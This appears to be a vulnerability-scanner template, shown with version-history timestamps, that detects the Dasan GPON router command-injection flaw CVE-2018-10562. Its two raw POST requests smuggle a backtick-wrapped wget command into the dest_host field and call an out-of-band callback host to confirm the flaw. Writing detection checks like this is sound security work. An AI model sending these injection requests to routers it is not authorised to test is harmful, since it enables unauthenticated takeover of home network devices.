2022-04-02 14:56:35 +00:00
id : CVE-2018-10562
info :
name : Dasan GPON Devices - Remote Code Execution (Unauthenticated)
author : gy741
severity : critical
2022-04-22 10:38:41 +00:00
description : An issue was discovered on Dasan GPON home routers. Command Injection can occur via the dest_host parameter in a diag_action=ping request to a GponForm/diag_Form URI. Because the router saves ping
results in /tmp and transmits them to the user when the user revisits /diag.html, it's quite simple to execute commands and retrieve their output.
2022-04-02 14:56:35 +00:00
reference :
- https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router
2022-04-05 06:48:20 +00:00
- https://github.com/f3d0x0/GPON/blob/master/gpon_rce.py
2022-04-05 06:43:12 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2018-10562
2022-04-02 14:56:35 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2022-04-02 14:56:35 +00:00
cve-id : CVE-2018-10562
cwe-id : CWE-78
2022-04-05 06:43:12 +00:00
tags : cve,cve2018,dasan,gpon,rce,oast
2022-04-02 14:56:35 +00:00
requests :
- raw :
- |
POST /GponForm/diag_Form?images/ HTTP/1.1
Host : {{Hostname}}
2022-04-05 06:43:12 +00:00
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox wget http://{{interactsh-url}}`;busybox wget http://{{interactsh-url}}&ipv=0
2022-04-02 14:56:35 +00:00
- |
POST /GponForm/diag_Form?images/ HTTP/1.1
Host : {{Hostname}}
2022-04-05 06:43:12 +00:00
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`wget http://{{interactsh-url}}`;wget http://{{interactsh-url}}&ipv=0
2022-04-02 14:56:35 +00:00
2022-04-05 06:43:12 +00:00
stop-at-first-match : true
2022-04-02 14:56:35 +00:00
matchers :
- type : word
part : interactsh_protocol # Confirms the HTTP Interaction
words :
- "http"